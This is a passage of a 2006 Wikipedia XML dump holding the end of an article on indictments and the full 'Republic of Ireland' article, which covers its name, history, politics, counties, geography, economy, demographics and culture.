In [[Australia]], an indictment is issued by government official (the [[Attorney-General]], the Director of Public Prosecutions, or one of their subordinates). A [[magistrate]] then holds a committal [[hearing (law)|hearing]], which decides whether the [[evidence (law)|evidence]] is serious enough to commit the person to [[trial (law)|trial]].

== In England and Wales ==
In [[England]] and [[Wales]] (except in [[private prosecution]]s by individuals) an indictment is issued by the [[Crown Prosecution Service]] (CPS) on behalf of the Crown, i.e. the monarch, presently [[Elizabeth II of the United Kingdom|Queen Elizabeth II]]--who is nominally the [[plaintiff]] in all [[public prosecution]]s under [[English law]]. This is why a public prosecution of a man called Mr. Smith would be referred to as &quot;R v Smith&quot; (short for &quot;Regina versus Smith&quot;, [[Regina]] being Latin for Queen). The head of the CPS is the [[Director of Public Prosecutions]].

== In the United States ==
In [[United States of America|U.S.]] jurisdictions retaining the grand jury, a charge issued by the prosecutor without presentment of the case to a grand jury (as for [[misdemeanor]] offenses) is usually called an ''information'' or ''accusation'', or sometimes a &quot;complaint&quot;,  to distinguish it from a grand jury indictment. The substance of an indictment or other charging instrument is usually the same, regardless of the jurisdiction: it consists of a short and plain statement of the time, place and manner in which the defendant is alleged to have committed the offense. Each offense is usually set out in a separate count. Some indictments for complex crimes, particularly those involving [[conspiracy (criminal)|conspiracy]] or numerous counts, can run to hundreds of pages, but many indictments, even for crimes as serious as [[murder]], consist of a single sheet of paper. 

Indictable offences are normally tried by [[jury]], unless the accused waives the right to a jury trial. In common law systems, the accused is not normally entitled to a jury trial if the offence charged does not require an indictment; the main exception here is again the U.S., where the [[Sixth Amendment to the United States Constitution|Sixth Amendment]] mandates the right of having a jury trial for any criminal offense punishable by imprisonment for more than six months. Notwithstanding the existence of the right to jury trial, the vast majority of criminal cases in the U.S. are resolved by the [[plea bargain]]ing process.

== Sealed Indictment ==
An indictment can be sealed so that it stays non-public until it is unsealed. This can be done for a number of reasons. It may be unsealed, for example, once the named person is arrested.

== See also ==
* [[Complaint]]
* [[Preliminary hearing]].
[[Category:Criminal law]]
[[Category:Prosecution]]
[[he:כתב אישום]]</text>
    </revision>
  </page>
  <page>
    <title>Republic of Ireland</title>
    <id>14560</id>
    <revision>
      <id>41915123</id>
      <timestamp>2006-03-02T16:16:16Z</timestamp>
      <contributor>
        <username>Angrynight</username>
        <id>792838</id>
      </contributor>
      <comment>/* Culture */ Added Stiff Little Fingers</comment>
      <text xml:space="preserve">:''This article is about the state also called ''Ireland''; for the titular island, see [[Ireland]].  For other uses, see [[Ireland (disambiguation)]].
:''For an explanation of often confusing terms like ''[[Ulster]]'', ''(Republic of) [[Ireland]]'', ''([[Great Britain|Great]]) [[Britain]]'' and ''[[United Kingdom]]'' see '''[[British Isles (terminology)]]''' ''.
{{Infobox Country |
native_name = Éire&lt;br&gt;Ireland |
common_name = the Republic of Ireland |
image_flag = Flag of Ireland.svg |
image_coat = Coat_of_arms_of_Ireland.png |
image_map = LocationIrelandA.png |
national_motto = none |
national_anthem = ''[[Amhrán na bhFiann]]'' (''The Soldier's Song'') |
official_languages = [[Irish language|Irish]], [[English language|English]] |
national_language = [[Irish language|Irish]], [[English language|English]] |
capital = [[Dublin]] |
latd=53|latm=26|latNS=N|longd=6|longm=15|longEW=W|
largest_city = [[Dublin]] |
government_type =[[Parliamentary democracy]] |
leader_titles = [[President of Ireland|President]]&lt;br&gt;[[Taoiseach]] |
leader_names = [[Mary McAleese]]&lt;br&gt;[[Bertie Ahern]] |
area = 70,273 |
area_rank = 117th |
area_magnitude = 1 E9|
percent_water = 2.00% |
population_estimate = 4,130,000|
population_estimate_year = August 2005 |
population_estimate_rank = 122nd |
population_census = 3,917,203 |
population_census_year = 2002 |
population_density = 57 |
population_density_rank = 143rd |
GDP_PPP_year = 2005 |
GDP_PPP = $136.9 Billion |
GDP_PPP_rank = 50th |
GDP_PPP_per_capita = $34,100 |
GDP_PPP_per_capita_rank = 4th |
HDI_year=2003|
HDI=0.946|
HDI_rank=8th|
HDI_category=&lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;|
sovereignty_type = [[History of Ireland|Independence]] |
established_events = &amp;nbsp;- Declared&lt;br&gt;&amp;nbsp;- Recognised |
established_dates = From [[United Kingdom|UK]] by treaty&lt;br&gt;[[21 January]] [[1919]]&lt;br&gt;[[6 December]] [[1921]] |
currency = [[Euro]] (€)&lt;sup&gt;1&lt;/sup&gt; |
currency_code = EUR |
time_zone = [[Greenwich Mean Time|GMT]] |
utc_offset = +0 |
time_zone_DST = [[Irish Summer Time|IST]] |
utc_offset_DST = +1 |
cctld = [[.ie]] (also [[.eu]] as part of EU) |
calling_code = 353 |
footnotes = &lt;sup&gt;1&lt;/sup&gt; Prior to [[1999]]: [[Irish pound]]|
}}The '''Republic of Ireland''' ([[Irish language|Irish]]: ''Poblacht na hÉireann'') is the official description of the sovereign state which covers approximately five-sixths of the island of [[Ireland]], off the coast of north-west [[Europe]]. The state's official name is '''Ireland''' (Irish: ''[[Éire]]''), and this is how international organisations and citizens of Ireland usually refer to the country. It is a member of the [[European Union]], has a [[developed country|developed economy]] and a population of slightly more than four million. The remaining sixth of the island of Ireland is known as [[Northern Ireland]] and is part of the [[United Kingdom|United Kingdom of Great Britain and Northern Ireland]].

==Name==
''Main article: [[Names of the Irish state]]''

The constitution provides that the name of the state is &quot;Éire, or, in the [[English language]], Ireland.&quot; However, the [[state]] is sometimes referred to as the &quot;Republic of Ireland&quot;, in order to distinguish it from the island of Ireland. The name ''Republic of Ireland'' came into use after the [[Republic of Ireland Act]] defined it as the official description of the state in [[1949]] (the purpose of the act being to declare that the state was a [[republic]] rather than a form of [[constitutional monarchy]]). It is also the accepted legal name of the state in the [[United Kingdom]] as per the [[Ireland Act 1949]]. Today, while ''Republic of Ireland'' is a valid term for the state, ''Ireland'' is used for official purposes such as treaties, government and legal documents, and membership of international organisations.

The state is also known by, in English, many other names, such as ''[[Éire]]'', ''The Free State'' and the ''Twenty-six Counties''. The use of Éire when speaking English in Ireland has become increasingly rare, not least due to historical condescending connotations.

The state has had more than one official title. The revolutionary state established by nationalists in [[1919]] was known as the &quot;[[Irish Republic]]&quot;; when the state achieved ''de jure'' independence in [[1922]], it became known as the &quot;[[Irish Free State]]&quot; (in the [[Irish language]] ''Saorstát Éireann''), a name that was retained until [[1937]].

==History==
''Main article: [[History of the Republic of Ireland]]''

The partition of Ireland came about because of complex constitutional developments in the early twentieth century.

From [[1 January]] [[1801]] until [[6 December]] [[1922]], Ireland was part of the [[United Kingdom of Great Britain and Ireland]]. During the [[Irish Potato Famine|Great Potato Famine]] in 1845-1849 the island's population of over 8 million fell by 30%. 1 million Irish died of starvation, another 1.5 million were forced to emigrate, which set the emigration pattern for the century to come and would result in a constant decline up to the 1960s. From [[1874]], but particularly from [[1880]] under [[Charles Stewart Parnell]], the [[Irish Parliamentary Party]] moved to prominence with its attempts to achieve [[Home Rule]], which would have given Ireland some autonomy without requiring it to leave the United Kingdom. It seemed possible in [[1911]] when the [[House of Lords]] lost their veto, and [[John Redmond]] secured the Third [[Home Rule Act 1914]]. The [[unionist]] movement, however, had been growing since [[1886]] among Irish [[Protestant]]s, fearing that they would face discrimination, and lose economic and social privileges if Irish [[Catholics]] were to achieve real political power. Though Irish unionism existed throughout the whole of Ireland, in the late nineteenth and early twentieth century unionism was particularly strong in parts of [[Ulster]], where industrialisation was more common in contrast to the more agrarian rest of the island. (Any tariff barriers would, it was feared, most heavily hit that region.) In addition, the Protestant population was more strongly located in Ulster, with unionist majorities existing in about four counties. Under the leadership of the [[Dublin]]-born [[Edward Carson|Sir Edward Carson]] and the northerner [[James Craig|Sir James Craig]] they became more militant. In [[1914]], to avoid rebellion in Ulster, the British [[Prime Minister]] [[Herbert Asquith]], with agreement of the leadership of the [[Irish Parliamentary Party]] leadership, inserted a clause into the bill providing for home rule for 26 of the 32 counties, with an as of yet undecided new set of measures to be introduced for the area temporarily excluded. Though it received the [[Royal Assent]], the Third [[Home Rule Act 1914]]'s implementation was suspended until after the [[World War I|Great War]]. (The war at that stage was expected to be ended by 1915, not the four years it did ultimately last.) For the prior reasons Redmond and his Irish [[National Volunteers]] supported the Allied cause, and tens of thousands joined the British Army.

In January [[1919]], after the December 1918 [[Irish (UK) general election, 1918|general elections]], 73 of Ireland's 106 [[Member of Parliament|MPs]] elected were [[Sinn Fein]] members who refused to take their seats in the [[British House of Commons]]. Instead they set up an extra-legal Irish parliament called [[Dáil Éireann]]. This Dáil in January [[1919]] issued a [[Unilateral Declaration of Independence]] and proclaimed an [[Irish Republic]]. This Declaration of Independence was mainly a restatement of the 1916 Proclamation with the additional provision that Ireland was no longer a part of the [[United Kingdom]]. Despite this, the new [[Irish Republic]] remained unrecognised internationally except by [[Lenin]]'s [[Russian Republic]]. Nevertheless the Republic's [[Aireacht]] (ministry) sent a delegation under [[Ceann Comhairle]] [[Sean T. O'Kelly]] to the [[Paris Peace Conference, 1919]], but it was not admitted. After the bitterly fought [[Anglo-Irish War|War of Independence]], representatives of the [[British government]] and the Irish rebels negotiated the [[Anglo-Irish Treaty]] in 1921 under which the British agreed to the establishment of an independent Irish State whereby the [[Irish Free State]] (in the [[Irish language]] ''Saorstát Éireann'') with [[dominion status]] was created. The [[Dáil]] narrowly ratified the treaty.

The Treaty was not entirely satisfactory to either side. It gave more concessions to the Irish than the British had intended to give but did not go far enough to satisfy republican aspirations. The new Irish Free State was in theory to cover the entire island, subject to the proviso that six counties in the northeast, termed &quot;Northern Ireland&quot; (which had been created as a separate entity under the ''[[Government of Ireland Act 1920]]'') could opt out and choose to remain part of the United Kingdom, which it duly did, to no-one's surprise. The remaining twenty-six counties became the [[Irish Free State]], a [[constitutional monarchy]] over which the British monarch reigned (from 1927 with the title [[monarchy in the Irish Free State|King of Ireland]]). It had a [[Governor-General of the Irish Free State|Governor-General]], a [[bicameral]] parliament, a cabinet called the &quot;Executive Council&quot; and a prime minister called the [[President of the Executive Council of the Irish Free State|President of the Executive Council]].

The [[Irish Civil War]] was the direct consequence of the creation of the Irish Free State. Anti-Treaty forces, led by [[Eamon de Valera]], objected to the fact that acceptance of the Treaty ''abolished'' the [[Irish Republic]] of 1919 to which they had sworn loyalty, arguing in the face of public support for the settlement that the &quot;people have no right to do wrong&quot;. They objected most to the fact that the state would remain part of the [[Commonwealth of Nations|British Commonwealth]] and that [[Teachta Dála|Teachtaí Dala]] would have to swear an oath of fidelity to [[George V of the United Kingdom|King George V]] and his successors. Pro-Treaty forces, led by [[Michael Collins (Irish leader)|Michael Collins]], argued that the Treaty gave &quot;not the ultimate freedom that all nations aspire to and develop, but the freedom to achieve it&quot;.

At the start of the war, the [[Irish Republican Army]] (IRA) split into two opposing camps: a pro-treaty IRA and an anti-treaty IRA. The pro-Treaty IRA became part of the new [[Irish Army|National Army]]. However, through the lack of an effective command structure in the anti-Treaty IRA, and their defensive tactics throughout the war, [[Michael Collins (Irish leader)|Collins]] and his pro-treaty forces were able to build up an army capable of overwhelming the anti-Treatyites. British supplies of artillery, aircraft, machine-guns and ammunition boosted pro-treaty forces, and the threat of a return of Crown forces to the Free State removed any doubts about the necessity of enforcing the treaty. The lack of public support for the anti-treaty Irregulars, and the determination of the government to overcome them, contributed significantly to their defeat.

The National Army suffered 800 fatalities and perhaps as many as 4000 people were killed altogether. As their forces retreated, the Irregulars showed a major talent for destruction and the economy of the Free State suffered a hard blow in the earliest days of its existence.

[[Image:Irishpopulation.png|400px|left|Irish population through the [[20th century]].]]

On the [[29 December]] [[1937]] a new constitution, the [[Constitution of Ireland]], came into force. It replaced the Irish Free State by a new state called simply &quot;Ireland&quot;. Though this state's ''constitutional'' structures provided for a [[President of Ireland]] instead of a king, it was not technically a republic. The principal key role possessed by a head of state, that of representing the state symbolically internationally remained vested in ''statute law'' in the King as an ''organ''. On [[1 April]] [[1949]] the Republic of Ireland Act declared a republic, with the functions previously given to the King given instead to the President of Ireland.

The Irish state had remained a member of the then [[Commonwealth of Nations|British Commonwealth]] after independence until the declaration of a republic in April 1949. Under Commonwealth rules declaration of a republic automatically terminated membership of the association, consequently Ireland ceased to be a member.

The Republic of Ireland joined the [[United Nations]] in [[1955]] and the [[European Community]] (now the [[European Union]]) in [[1973]]. Irish governments have sought the peaceful reunification of Ireland and have usually cooperated with the [[British government]] in the violent conflict with the [[Provisional IRA]] in Northern Ireland known as the &quot;[[The Troubles|Troubles]]&quot;. A peace settlement for Northern Ireland, the [[Belfast Agreement]], was approved in [[1998]] in referenda north and south of the border, and is currently being implemented, albeit more slowly than many would like.

==Politics==
{|align=right
| [[Image:Marymca.jpg|thumb|150px|[[President of Ireland]], [[Mary McAleese]].]]
|}
''Main article: [[Politics of the Republic of Ireland]]''

The state is a [[republic]], with a parliamentary system of government. The [[President of Ireland]], who serves as [[head of state]], is elected for a seven-year term and can be re-elected only once. The president is largely a [[figurehead]] but can still carry out certain [[constitution]]al powers and functions, aided by the [[Council of State]], an advisory body. The ''[[Taoiseach]]'' ([[prime minister]]), is appointed by the president on the nomination of parliament. The Taoiseach is normally the leader of the political party which wins the most seats in the national elections. It has become normal in the Republic for [[coalition]]s to form a government, and there has not been a single-party government since the period of [[1987]]–[[1989]].

The [[bicameral]] [[parliament]], the ''[[Oireachtas]]'', consists of a Senate, [[Seanad Éireann]], and a lower house, [[Dáil Éireann]]. The Seanad is composed of sixty members; eleven nominated by the Taoiseach, six elected by two universities, and 43 elected by public representatives from panels of candidates established on a vocational basis. The Dáil has 166 members, ''[[Teachta Dála|Teachtaí Dála]]'', elected to represent multi-seat constituencies under the system of [[proportional representation]] by means of the [[Single Transferable Vote]]. Under the constitution, parliamentary elections must be held at least every seven years, though a lower limit may be set by statute law. The current statutory maximum term is every five years.
[[Image:Leinsterhouseirl.jpg|thumb|250px|left|[[Leinster House]], the seat of the [[Oireachtas Éireann]] (Parliament of Ireland)]]
The Government is constitutionally limited to fifteen members. No more than two members of the Government can be selected from the Senate, and the Taoiseach, ''[[Tánaiste]]'' (deputy prime minister) and Minister for Finance ''must'' be members of the Dáil. The current government consists of a coalition of two parties; [[Fianna Fáil]] under Taoiseach [[Bertie Ahern]] and the [[Progressive Democrats]] under Tánaiste [[Mary Harney]].

The main opposition in the current Dáil consists of [[Fine Gael]] and [[Irish Labour Party|Labour]]. Smaller parties such as the [[Green Party/Comhaontas Glas|Green Party]], [[Sinn Féin]] and the [[Socialist Party of Ireland|Socialist Party]] also have representation in the Dáil.

Ireland joined the [[European Union]] in 1973. Since then it has received 16% of all &quot;first warnings&quot; issued on environmental issues, despite being under 1% of the EU's population.

In 2004 Ireland held the Presidency of the Council of the [[European Union]] .
===Role of the Catholic Church in national affairs===
As mentioned in the [[#Demographics|Demographics]] section, church attendance has declined rapidly in Ireland in recent years. As with other European states (e.g., [[Italy]]) that were predominantly Roman Catholic, the Irish state has undergone a period of secularisation and legal de-Catholicisation. In [[1972]], the &quot;special position&quot; of the Catholic Church in Ireland [[Fifth Amendment of the Constitution of Ireland|was deleted from the Irish constitution]].

In 1995, after a seventy-year ban, a constitutional amendment allowed [[divorce]] in the Republic.

In [[1983]], the Irish constitution was amended to recognise &quot;the right to life of the unborn&quot;, subject to qualifications concerning the &quot;equal right to life&quot; of the mother. In the 1990s the Supreme Court interpreted the qualifications in the amendment as allowing [[Abortion in Ireland|abortion]] in limited circumstances. However, the [[Oireachtas]] has not introduced a law enabling abortion to take place in those circumstances allowed by the court. A subsequent series of constitutional amendments allow Irish citizens access to information about abortion and to travel freely to get abortions outside Ireland.

The Catholic Church was hit in the 1990s by a series of sexual abuse scandals and cover-up charges against its hierarchy. In 2005, a major inquiry was made into child sexual abuse allegations. The Fern's report, published on [[25 October]] [[2005]], revealed that more than 100 cases of child sexual abuse, between 1962 and 2002, by 21 priests, had taken place in the Diocese of Ferns alone. The report criticised the Garda and the health authorities, who failed to protect the children to the best of their abilities; and in the case of the Garda before 1988, no file was ever recorded on sexual abuse complaints.

==Counties==
''Main article: [[Counties of Ireland]]''

The Republic of Ireland has 26 [[county|counties]], and these are used in political, cultural and sporting contexts. [[Dáil Éireann|Dáil]] constituencies are required by statute to follow county boundaries, as far as possible. Hence counties with greater populations have multiple constituencies (e.g. Limerick East/West) and some constituencies consist of more than one county (e.g. Sligo-Leitrim), but by and large, the actual county boundaries are not crossed. As local government units, however, some have been restructured, with County Dublin distributed between three new county councils in the [[1990s]] and County Tipperary having been administratively two separate counties since the [[1890s]], giving a present-day total of 29 administrative counties and five cities. The five cities — Dublin, Cork, Galway, Limerick, and Waterford — are administered separately from the remainder of their respective counties. Five boroughs — Clonmel, Drogheda, Kilkenny, Sligo and Wexford — have a level of autonomy within the county:

&lt;table&gt;&lt;tr valign=top&gt;&lt;td&gt;
* [[County Carlow]]
* [[County Cavan]]
* [[County Clare]]
* [[County Cork]]
** [[Cork|City of Cork]]
* [[County Donegal]]
* [[County Dublin]]
** [[Dublin|City of Dublin]]
** [[Dun Laoghaire-Rathdown]]
** [[Fingal]]
** [[South Dublin]]
* [[County Galway]]
** [[Galway|City of Galway]]
* [[County Kerry]]
* [[County Kildare]]
* [[County Kilkenny]]
** [[Kilkenny|City of Kilkenny]] (Borough)
* [[County Laois]]
* [[County Leitrim]]
* [[County Limerick]]
** [[Limerick|City of Limerick]]
&lt;td&gt;
* [[County Longford]]
* [[County Louth]]
** [[Drogheda]] (Borough)
* [[County Mayo]]
* [[County Meath]]
* [[County Monaghan]]
* [[County Offaly]]
* [[County Roscommon]]
* [[County Sligo]]
** [[Sligo]] (Borough)
* [[County Tipperary]]
** [[North Tipperary]]
** [[South Tipperary]]
*** [[Clonmel]] (Borough)
* [[County Waterford]]
** [[Waterford|City of Waterford]]
* [[County Westmeath]]
* [[County Wexford]]
** [[Wexford]] (Borough)
* [[County Wicklow]]
&lt;/table&gt;

These counties are grouped together into [[Regions of the Republic of Ireland|regions]] for statistical purposes.
==Geography==
[[image:Ei-map.png|right|thumb|250px|Map of Ireland]]
''Main article: [[Geography of Ireland]]''

The island of Ireland extends over 84,421 km² of which 83% (or five-sixths) belong to the Republic (at 70,280 km²), with the remainder constituting Northern Ireland. It is bound to the west by the [[Atlantic Ocean]], to the northeast by the [[North Channel (Great Britain)|North Channel]]. To the east is found the [[Irish Sea]] which reconnects to the ocean via the southwest with [[St. George's Channel]] and the [[Celtic Sea]]. The west-coast of Ireland mostly consists of cliffs, hills and low mountains (the highest point being [[Carrauntoohill|Carrauntoohil]] at 1,041 m). In from the perimeter of the country is mostly relatively flat farmland, traversed by rivers such as the [[River Shannon]] and several large lakes or ''loughs''. The center of the country is part of the River Shannon watershed, containing large areas of [[bogland]], used for [[peat]] production.

The local [[temperate climate]] is modified by the [[North Atlantic Current]] and is relatively mild. Summers are rarely very hot, but it freezes only occasionally in winter. [[precipitation (meteorology)|Precipitation]] is very common, with up to 275 days with rain in some parts of the country. Chief cities are the capital [[Dublin]] on the east coast, [[Cork]] in the south, [[Galway]] and [[Limerick City|Limerick]] on the west coast, and [[Waterford City|Waterford]] on the south east coast (see [[Cities in Ireland]]).

==Economy==
''Main article: [[Economy of the Republic of Ireland]]''

The economy of the Republic of Ireland has transformed in recent years from an agricultural focus to one dependent on trade, industry and investment. While still small compared to its European neighbours, its growth is averaging a robust 10% in [[1995]]–[[2000]], and 7% in [[1995]]-[[2004]]. [[Industry]], which accounts for 46% of [[Gross Domestic Product|GDP]], about 80% of exports, and 29% of the labor force, now takes the place of [[agriculture]] as the country's leading sector. 

Exports play a fundamental role in the state's rampant growth, but the economy also benefits from the accompanying  rise in consumer spending, construction, and business investment. On paper, the country is the largest exporter of software-related goods and services in the world. In fact, a lot of foreign software, and sometimes music, is filtered through the country to avail of the state's non-taxing of royalties from copyrighted goods.

One key reason for the country's economic surge might be her government's role in the past ten years. A number of programs to address the problems of high [[inflation]] (with poor results in recent years), large tax burdens, government spending, lack-luster foreign investment and low job skills have been introduced.

A key part of economic policy, since 1987, has been [[Social Partnership]] which is a [[neo-corporatist]] set of voluntary 'pay pacts' between the Government, employers and trades unions. These usually set agreed pay rises for three-year periods.

The state joined in launching the [[euro]] currency system in January [[1999]] (leaving behind the [[Irish pound]]) along with ten other EU nations. The [[1995]] to [[2000]] period of high economic growth led many to call the country the [[Celtic Tiger]]. The economy felt the impact of the global economic slowdown in [[2001]], particularly in the high-tech export sector — the growth rate in that area was cut by nearly half. GDP growth continued to be relatively robust, with a rate of about 6% in 2001 and 2002. Growth for 2004 was over 4% and it is expected to be 5% or higher for 2005.

With high growth came high levels of inflation, particularly in the capital city. Prices in [[Dublin]], where nearly 30% of Ireland's population lives, are considerably higher than elsewhere in the country [http://www.finfacts.com/Private/bestprice/irishconsumerprices.pdf], especially in the [[Irish Property Bubble | booming property market]].

Ireland has the fourth-highest [[GDP]] (based on [[PPP]]) per capita in the world after [[Luxembourg]], [[Norway]] and the [[United States]], but lies 8th in the [[Human Development Index|2005 UN Human Development Index]], which counts GDP per capita as a factor. This indicates that life expectancy (77.56 in 2005), which place Ireland at about 32nd in the world, currently trails behind economic growth and [[literacy]] (99.9% in 2005 [http://hdr.undp.org/reports/global/2005/pdf/HDR05_HDI.pdf]).

[[The Economist]] Intelligence Unit's Quality of Life Index ([http://www.economist.com/media/pdf/QUALITY_OF_LIFE.pdf]) placed Ireland in 1st place in its World in Review 2005 survey.

Poverty figures show that 10% of Ireland's population live below the [[poverty line]]
(1997 [http://www.cia.gov/cia/publications/factbook/geos/ie.html]). [[UNICEF]] figures show Ireland has the 6th highest child poverty rate in the developed world at 16.8% ([http://www.nationmaster.com/graph-T/eco_chi_pov]).



==Demographics==
''Main article: [[Demographics of the Republic of Ireland]]''

The Irish people are mainly of indigenous origin, with the country's only significant minorities having descended from the Vikings and Anglo-Normans. An indigenous minority group is the [[Irish Traveller|Irish Traveller]], while some of the population are also of English, Scottish, and Welsh descent.
[[Image:Stpatrickcathedral dublin.jpg|thumb|St. Patrick's Cathedral in Dublin&lt;br&gt;&lt;small&gt;The National Cathedral of the Church of Ireland.&lt;/small&gt;]] 
The official languages are [[Irish language|Irish]] and [[English language|English]]. Teaching of the Irish language is compulsory in primary and secondary level schools which receive money and recognition from the state. Some students may be exempt from the requirement to receive instruction in the language. [[English language|English]] is by far the predominant language spoken throughout the country. People living in predominantly Irish-speaking communities (the [[Gaeltacht]]) are limited to the low tens of thousands in isolated pockets largely on the western seaboard. Roads signs are usually bilingual, except in the [[Gaeltacht]], where they are in Irish only. The legal status of place names has recently been the subject of controversy, with an order made in [[2005]] under the [[Official Languages Act 2003|Official Languages Act]] changing the official name of certain locations from English to Irish (e.g. [[Dingle]] is now officially named ''An Daingean''). Most public notices are only in [[English language|English]], as is most of the print media. National media in Irish exists on TV and radio.

The Republic of Ireland is 92% nominally [[Roman Catholic]], but there has been a massive decline in full adherence among [[Irish Catholic]]s. Between [[1996]] and [[2001]], regular [[Roman Catholic Mass|Mass]] attendance, already previously in decline, declined from 60% to 48% (it had been 90%+ in [[1973]]), and all but two of its seminaries have closed.

The second largest Christian denomination, the [[Church of Ireland]] ([[Anglicanism]]), having been in decline for most of the twentieth century, has now experienced an increase in membership, according to the 2002 census, as have other small Christian denominations, and [[Islam]]. The largest other Protestant denominations are the [[Presbyterian Church in Ireland]] , followed by the [[Methodist Church in Ireland]]. The very small [[Judaism|Jewish]] community in the state has continued to decline in numbers (See [[History of the Jews in Ireland|Judaism in Ireland]])

Ireland is also home to a variety of small immigrant populations. According to the 2002 census, conducted by the Central Statistics Office, the largest EU groups are from: Britain, [[Germany]] and [[France]]; the largest non-EU groups are from: the [[USA]], [[Nigeria]] and [[Romania]]. However, since the joining of Eastern European countries into the E.U., Ireland has received over 300,000 immigrants from mainly Poland, Latvia and Lithuania in two short years alone. {{fact}}

==Culture==
[[Image:U2photo.jpg|thumb|200px|[[U2]]&lt;br&gt;&lt;small&gt;The most successful Irish band of all time and one of the biggest bands internationally in the 1980s, 1990s and 2000s.&lt;small&gt;]]
''Main article: [[Culture of Ireland]]''

The island of Ireland has produced the [[Book of Kells]], [[Irish traditional music]], and writers such as [[George Berkeley]], [[Jonathan Swift]], [[James Joyce]], [[George Bernard Shaw|George 
Bernard Shaw]], [[Richard Brinsley Sheridan]], [[Oliver Goldsmith]], [[Oscar Wilde]], [[W.B. Yeats]], [[Samuel Beckett]], [[John Millington Synge]], [[Seán O'Casey]], [[Séamus Heaney]], [[Bram Stoker]] and others. Shaw, Yeats, Beckett and Heaney are [[Nobel Prize in Literature|Nobel Literature]] laureates. Other prominent writers include [[Roddy Doyle]], [[Dermot Bolger]], [[Maeve Binchy]], [[Frank McCourt]], [[Edna O'Brien]], [[Joseph O'Connor]], [[John McGahern]] and [[Colm Tóibín]].

[[Ernest Walton]] of [[Trinity College Dublin]] shared the [[1951]] [[Nobel Prize in Physics]] for &quot;splitting the atom&quot;. [[William Rowan Hamilton]] was a significant mathematician.
[[Image:Rory Munich 75.jpg|thumb|200px|Rory Gallagher&lt;br&gt;&lt;small&gt;Gallagher's musical skills won plaudits  from [[Eric Clapton]] and were credited with influencing many top guitarists in the rock idiom.&lt;/small&gt;]] 
Figures influential in music included [[Blues]] [[guitar]]ist [[Rory Gallagher]], folk singer [[Christy Moore]], [[Shane MacGowan]] with his band [[The Pogues]] and singer [[Sinéad O'Connor]]. The Irish [[punk rock]] band [[Stiff Little Fingers]] is known to have influenced such popular singers as [[Green Day]]. Successful entertainment exports in the late twentieth century include acts such as [[U2]], [[Thin Lizzy]], [[Bob Geldof]], [[The Corrs]], [[The Cranberries]] and [[Enya]], and the internationally acclaimed dance shows ''[[Riverdance]]'' and ''[[Lord of the Dance]]''. In [[Classical music]], the Island of Ireland was also the birthplace of the notable composers [[Turlough O'Carolan]], [[John Field (composer)|John Field]] (inventer of the [[Nocturne]]), [[Michael William Balfe]], ''Sir'' [[Charles Villiers Stanford]] and [[Charles Wood (composer)|Charles Wood]].

==Miscellaneous topics==
* Cellular frequency: GSM 900, GSM 1800, UMTS 2100
* Cellular technology: [[Global System for Mobile Communications|GSM]]/[[General Packet Radio Service|GPRS]]/[[Enhanced Data Rates for Global Evolution|EDGE]]/[[Universal Mobile Telecommunications System|UMTS]]
* [[Calendar date|Date]] format: DD/MM/YYYY (ex. 29/2/2004 or 29/02/2004) or DD/MM/YY (ex. 29/2/04 or 29/02/04), other styles are DD.MM.YY or DD-MM-YY
* [[Decimal]] separator is a full stop: 123.45
* Thousands are separated (formal) by a comma: 10,000, but younger people sometimes use: 10 000. 
* [[Voltage]]: 220V , 50 Hz; [[Domestic AC power plugs and sockets|Power connector]]: [[Domestic AC power plugs and sockets#Type G .28British 3-pin.29|3 rectangle pins ]]
* [[Postal code]]: Ireland is one of the few countries in the world that doesn't have postal codes, expect for Dublin where a number is used to indicate the district. See [[Dublin postal districts]]. However Ireland is planning to have postal codes by 2008.

==References==
* ''Bunreacht na hÉireann'' (the 1937 constitution) ([http://www.taoiseach.gov.ie/upload/static/256.pdf PDF version])
* ''The Irish Free State Constitution Act, 1922''
* J. Anthony Foley and Stephen Lalor (ed), ''Gill &amp; Macmillan Annotated Constitution of Ireland'' (Gill &amp; Macmillan, 1995) (ISBN 071712276X)
* FSL Lyons, ''Ireland Since the Famine''
* Alan J. Ward, ''The Irish Constitutional Tradition: Responsible Government and Modern Ireland 1782–1992'' (Irish Academic Press, 1994) (ISBN 0716525283)
* ''Some of the material in these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''
* ''[[OECD]] Information Technology Outlook 2004''

==External links==
{{sisterlinks|Ireland}}
* [http://www.gov.ie/aras Áras an Uachtaráin] - Official presidential site
* [http://news.bbc.co.uk/1/hi/world/europe/country_profiles/1038581.stm BBC country profile]
* [http://www.bbc.co.uk/history/state/nations/ BBC Nations] Irish History
* [http://www.browseireland.com/ Browse Ireland] - Directory of Irish Websites
* [http://www.irlgov.ie/ Information on the Irish State] - Governmental portal
* [http://www.irelandstory.com/ Ireland Story] - History, geography and current affairs
* [http://www.walkingtree.com/ Mercator Atlas of Europe] Map of Ireland (&quot;Irlandia&quot;) circa 1564
* [http://taoiseach.gov.ie/ Taoiseach] - Official prime ministerial site
* [http://www.macs.hw.ac.uk/britishisles/ The British Isles] Independent view of Ireland and the UK
* [http://www.gov.ie/oireachtas/frame.htm Tithe an Oireachtais] - Houses of Parliament, official parliamentary site
* [http://www.eu2004.ie/templates/homepage.asp?sNavlocator=1 2004 Presidency of the Council of the European Union]

{{EU_countries}}
{{Europe}}
{{Irish states}}

[[Category:European Union member states|Ireland, Republic of]]
[[Category:Island nations|Ireland, Republic of]]
[[Category:Republic of Ireland| ]]
[[Category:Republics|Ireland, Republic of]]

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[[et:Iirimaa]]
[[fi:Irlanti]]
[[fiu-vro:Iirimaa]]
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[[gl:Irlanda]]
[[he:אירלנד]]
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[[hu:Írország]]
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[[ko:아일랜드]]
[[kw:Repoblek Iwerdhon]]
[[la:Irlandia]]
[[lb:Irland (Land)]]
[[li:Ierland]]
[[lt:Airija]]
[[lv:Īrija]]
[[ms:Ireland]]
[[nl:Ierland (land)]]
[[nn:Republikken Irland]]
[[no:Republikken Irland]]
[[pl:Irlandia (państwo)]]
[[pt:Irlanda]]
[[rm:Republica da l'Irlanda]]
[[ro:Irlanda]]
[[ru:Ирландия]]
[[sco:Republic o Ireland]]
[[simple:Republic of Ireland]]
[[sk:Írsko (štát)]]
[[sl:Irska (država)]]
[[sr:Ирска]]
[[sv:Irland]]
[[th:สาธารณรัฐไอร์แลนด์]]
[[tl:Ayrland (bansa)]]
[[tr:İrlanda]]
[[vi:Cộng hòa Ireland]]
[[zh:爱尔兰共和国]]
[[zh-min-nan:Éire]]</text>
    </revision>
  </page>
  <page>
    <title>Irish diaspora</title>
    <id>14561</id>
    <revision>
      <id>42094329</id>
